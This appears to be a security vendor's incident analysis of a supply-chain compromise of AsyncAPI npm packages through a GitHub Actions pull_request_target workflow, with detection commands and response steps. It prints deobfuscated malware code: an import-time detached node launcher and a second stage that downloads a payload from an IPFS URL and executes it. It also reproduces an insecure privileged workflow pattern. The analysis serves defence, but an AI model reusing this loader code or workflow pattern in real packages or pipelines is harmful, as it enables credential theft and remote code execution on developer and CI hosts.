CVE
Not assigned
CWE
CWE-506, CWE-494, CWE-829
Affected Surface
`@asyncapi/generator@3.3.1`, `@asyncapi/generator-components@0.7.1`, `@asyncapi/generator-helpers@1.1.1`, and `@asyncapi/specs@6.11.2` / `6.11.2-alpha.1`, Developer workstations and CI jobs that imported AsyncAPI generator or schema packages during the 14 July 2026 compromise window, Projects that pulled `@asyncapi/specs` transitively through parser, CLI, generator, or schema-validation dependency trees, GitHub Actions environments that still use `pull_request_target` together with checkout-and-execute patterns on untrusted pull-request code
The most important new package-registry story in the last 72 hours is not another npm token theft. It is a CI trust-boundary failure that let attackers turn legitimate GitHub Actions release automation into malicious trusted publishing. On 14 July 2026, the AsyncAPI ecosystem shipped five malicious package versions after an attacker used a pull_request_target workflow to steal a privileged token, pushed unsigned commits to release branches, and let the project’s own publish pipeline sign and release the result.
That sequence matters because it breaks several common defensive assumptions at once:
- no stolen npm maintainer token was required for the initial foothold
- the payload executed on
require()rather than onpostinstall - the malicious artifacts still rode legitimate GitHub Actions release paths and provenance
For AppSec teams, this is the kind of supply-chain incident that blurs source-control security, CI hardening, dependency governance, and endpoint response into one problem.
Publicly confirmed affected package set
Public reporting agrees on four package names and five malicious versions:
| Package | Malicious version | Why it matters |
|---|---|---|
@asyncapi/generator | 3.3.1 | Main generator package; import-time loader fires in trusted generator execution paths |
@asyncapi/generator-components | 0.7.1 | Carries the same loader inside a utility file |
@asyncapi/generator-helpers | 1.1.1 | Carries the same loader inside a helper utility file |
@asyncapi/specs | 6.11.2-alpha.1 | Pre-release schema package variant published from spec-json-schemas |
@asyncapi/specs | 6.11.2 | Highest-blast-radius package because it is widely pulled transitively |
Two exposure details are especially important:
- Wiz reports the affected package family sees more than
3 millionweekly downloads combined. - Endor Labs reports
@asyncapi/specsalone was seeing about2.74 millionweekly downloads, making it the most important transitive package in the set.
This means defenders cannot limit scoping to teams that knowingly installed the generator CLI. Any workflow, parser, codegen, or schema-validation path that refreshed locks or caches on 14 July may have pulled the poisoned @asyncapi/specs release transitively.
Initial access was a pwn request, not an npm login
The attacker did not begin at npm. Public reporting says the attack started in asyncapi/generator, where a pull_request_target workflow could be tricked into checking out and then executing untrusted pull-request code with elevated repository trust.
GitHub’s own documentation uses the following pattern as the canonical insecure example:
# INSECURE. Provided as an example only.
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
with:
ref: ${{ github.event.pull_request.head.sha }}
- name: Test
run: make test
That is the important trust-boundary error:
pull_request_targetruns with the base repository’s secrets and token- the workflow checks out attacker-controlled pull-request code
- the next step executes that checked-out code inside the privileged job
Wiz reports that the attacker opened 37 pull requests against the generator repository and used one of them, PR #2155, to hide obfuscated JavaScript after roughly 1,000 bytes of whitespace inside a markdown file. The PR itself never had to merge. The workflow only had to run once with enough privilege to expose secrets.
That is why this incident belongs in the same risk class as earlier GitHub Actions “pwn request” supply-chain breaches. The dangerous moment is not package publication. The dangerous moment is letting fork-controlled code execute inside a workflow that holds release authority.
The release pipeline then published attacker code with real provenance
After the workflow execution, the attacker moved from repository CI into the release path. Wiz attributes the stolen credential to a privileged asyncapi-bot PAT. The next steps are visible in public GitHub history and make the trust failure unusually concrete:
| Repository | Branch / path | Commit | Message | Verification | Result |
|---|---|---|---|---|---|
asyncapi/generator | next | 3eab3ec | fix: test release workflow on next | unsigned | Published @asyncapi/generator@3.3.1, @asyncapi/generator-components@0.7.1, and @asyncapi/generator-helpers@1.1.1 |
asyncapi/spec-json-schemas | alpha / master follow-on chain | 5a70f7b -> 61a930f -> 689f5b9 | release-looking follow-up commits | unsigned | Published @asyncapi/specs@6.11.2-alpha.1 and @asyncapi/specs@6.11.2 |
This is the lesson many teams still miss about trusted publishing and provenance:
- provenance can prove where a package came from
- provenance does not prove the source branch or workflow logic was trustworthy
- an attacker who controls the release branch or the workflow’s effective authority can still produce perfectly authentic-looking malicious artifacts
Endor Labs makes the point directly: the AsyncAPI packages were published by legitimate GitHub Actions pipelines with valid SLSA provenance. That is not a contradiction. It is the core of the attack.
The npm payload executes at require() time, not at install time
The first-stage loader did not depend on lifecycle hooks. That makes this incident more important than a simple postinstall stealer, because defenses that only block install scripts are too narrow.
Public deobfuscation shows the initial stage reduces to a small detached-process launcher:
const { spawn } = require("child_process");
async function main() {
try {
spawn("node", ["-e", STAGE2_SCRIPT], {
detached: true,
stdio: "ignore",
windowsHide: true,
}).unref();
} catch (e) {
console.error(e.message);
}
}
main(); // fires as soon as the module is loaded
That top-level main() call is why npm install --ignore-scripts is not enough protection here. The dangerous transition is:
dependency resolved
-> package imported by generator / parser / schema tooling
-> top-level loader runs
-> detached node -e downloader starts
-> remote stage is written and executed
The package code itself then launches a second stage that fetches a larger payload from IPFS and persists it under an innocuous NodeJS directory name:
const FILE_URL = "https://ipfs.io/ipfs/QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9";
const FILE_NAME = "sync.js";
function getTargetDirectory() {
if (process.platform === "linux") {
return path.join(os.homedir(), ".local", "share", "NodeJS");
}
if (process.platform === "darwin") {
return path.join(os.homedir(), "Library", "Application Support", "NodeJS");
}
return path.join(process.env.LOCALAPPDATA, "NodeJS");
}
await downloadFile(FILE_URL, path.join(getTargetDirectory(), FILE_NAME));
spawn("node", [path.join(getTargetDirectory(), FILE_NAME)], {
detached: true,
stdio: "ignore",
windowsHide: true,
}).unref();
Two stage-two CIDs matter in public reporting:
QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9for the generator-family packagesQmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyffor the@asyncapi/specspath
That split is operationally useful during response because it tells defenders the generator and specs branches were not just bumping the same exact artifact reference everywhere.
The dropped stage is a real malware framework, not a throwaway beacon
Wiz describes the retrieved stage-two bundle as an approximately 8.25 MB encrypted package that unwraps into a much larger runtime. The reported stage-three code:
- establishes persistence, including a
miasma-monitor.servicesystemd user service on Linux - talks to command-and-control over HTTP, Nostr relays, Ethereum contracts, and a libp2p mesh
- targets browser credentials and cookies, SSH keys, npm and GitHub tokens, AWS credentials, macOS Keychain secrets, and crypto-wallet data
- exposes classic remote-operator primitives such as directory listing, file transfer, and exfiltration
That feature set is why this is better understood as a post-compromise framework hidden behind an npm package, not merely as a secret grabber.
The trust-boundary lesson is especially relevant for developer environments. AsyncAPI codegen and schema tooling often run exactly where source trees, package tokens, browser sessions, cloud credentials, and CI bootstrap material already co-exist. A detached node -e launcher inside a trusted dependency only needs one successful import to cross into that higher-value host context.
What the GitHub history says about the attacker tradecraft
The public commit metadata is unusually revealing:
- both highlighted malicious commits show author and committer strings of
Your Name <you@example.com> - both are marked
verification: false/ unsigned - the generator-side malicious content was hidden between legitimate code blocks or buried in very noisy release churn
- the specs-side attack moved the loader into the package entry point, which increases the chance that a routine
require("@asyncapi/specs")is enough to trigger execution
This is not subtle cryptography or a novel JavaScript engine trick. It is attacker discipline around visibility:
- blend into routine release automation
- hide loader code inside files maintainers expect to change
- trigger on import instead of install
- keep the heavy payload off the npm tarball until runtime
That combination is what makes the compromise operationally serious.
Detection and scoping
Start with dependency history, not just current package pages:
npm ls \
@asyncapi/generator \
@asyncapi/generator-components \
@asyncapi/generator-helpers \
@asyncapi/specs --all
rg -n "@asyncapi/(generator|generator-components|generator-helpers|specs)" \
package.json package-lock.json pnpm-lock.yaml yarn.lock npm-shrinkwrap.json
Then hunt for the public stage and persistence indicators:
rg -n \
"QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9|Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf|miasma-monitor\\.service|85\\.137\\.53\\.71|rentry\\.co" \
"$HOME" /tmp /var/tmp .
rg -n "NodeJS/sync\\.js|\\.local/share/NodeJS/sync\\.js|Library/Application Support/NodeJS/sync\\.js" \
"$HOME" /tmp /var/tmp .
On Linux hosts, also inspect user services:
systemctl --user list-unit-files | rg "miasma-monitor"
systemctl --user status miasma-monitor.service
If a host imported any of the affected packages, the highest-signal question is not just “was the package present?” It is “did the process actually load the module in a context that held secrets?” For @asyncapi/specs, that question matters especially because transitive use can be easy to miss.
Response guidance
If your environment resolved the affected versions during the live window:
- upgrade or roll back to known-good AsyncAPI releases and invalidate cached tarballs, lockfiles, and build layers that still reference the poisoned versions
- treat developer and CI hosts that imported the packages as potentially compromised endpoints, not just as dependency-hygiene incidents
- rotate GitHub tokens, npm tokens, SSH keys, cloud credentials, and other secrets exposed to those hosts
- review outbound traffic for the IPFS CIDs above,
85.137.53.71, andrentry.co - audit release branches and workflow triggers, especially any
pull_request_targetjob that checks out or executes pull-request code
The prevention lesson is just as important as the cleanup lesson. GitHub’s guidance is correct here: if a workflow really needs pull_request_target, it must never fetch and execute fork-controlled code inside that privileged job. Split untrusted build work from privileged release work, protect release branches as tightly as default branches, and do not mistake signed provenance for proof that the pipeline itself was safe.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- Wiz: AsyncAPI Supply Chain Compromise via GitHub Actions
- Endor Labs: How Unprotected Release Branches Let Attackers Compromise AsyncAPI
- Aikido: Shai Hulud Attacks Persist Through GitHub Actions Vulnerabilities
- GitHub Docs: Securely using pull_request_target
- AsyncAPI PR #2155
- AsyncAPI malicious commit 3eab3ec on generator
- AsyncAPI malicious commit 689f5b9 on spec-json-schemas